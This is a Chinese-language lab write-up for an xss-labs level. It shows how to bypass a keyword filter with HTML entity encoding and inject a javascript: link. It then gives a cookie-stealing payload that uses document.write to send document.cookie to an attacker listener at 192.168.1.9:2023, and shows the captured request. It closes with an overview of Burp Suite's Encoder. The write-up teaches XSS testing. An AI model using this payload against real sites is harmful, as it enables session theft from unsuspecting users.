姿势
逻辑后端代码:
该题与 level-9 的区别是,加上了对地址的判断
故我们可对初始POC使用html实体编码处理,使关键字不被过滤;再添加http://
我们看看初始POC该如何构造:
也就是说我们填入的内容存在于<a href=内容></a>
中
而将 JavaScript 代码放在 href 属性中,当用户点击具有此链接的元素时,浏览器会执行其中的 JavaScript 代码。
所以初始POC可构造为:
javascript:alert("http://")
编码后得到
javascript:alert("http://")
如何利用,使得危害扩大?
可以进行数据外带操作,原理及姿势参考链接:[网络安全]XSS之Cookie外带攻击姿势
脚本如下:
构造POC如下:
javascript:document.write('<img src="http://192.168.1.9:2023/'+document.cookie+'"/>')
将关键字进行html实体编码后得到:
javascript:document.write('<img src="http://192.168.1.9:2023/'+document.cookie+'"/>')
点击 友情链接 后监听到数据:
Host: 192.168.1.9:2023 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: image/avif,image/webp,*/* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://localhost/ Connection: keep-alive
burp编码工具模块的利用
Burp Suite 中涉及到编码和解码的模块是 “Encoder”(编码器)。
Burp Suite 的 “Encoder” 模块允许用户对数据进行各种编码和解码操作,以进行安全测试、漏洞利用或其他目的。该模块可以帮助用户执行如下任务:
- URL 编码/解码:对 URL 中的特殊字符进行编码或解码,包括保留字符和非 ASCII 字符。
- HTML 编码/解码:对 HTML 文档中的特殊字符(如 <, >, ", ')进行编码或解码,以防止跨站点脚本(XSS)等攻击。
- Base64 编码/解码:执行 Base64 编码和解码操作,用于在数据传输或存储中表示二进制数据。
- Unicode 编码/解码:将字符串转换为 Unicode 编码,或将 Unicode 编码还原为原始字符串。
- GZIP 压缩/解压缩:对数据执行 GZIP 压缩或解压缩操作,用于发送或接收压缩的数据。
总结
以上为[网络安全]xss-labs level-9 解题详析,后续将分享[网络安全]xss-labs level-10 解题详析。
我是秋说,我们下次见。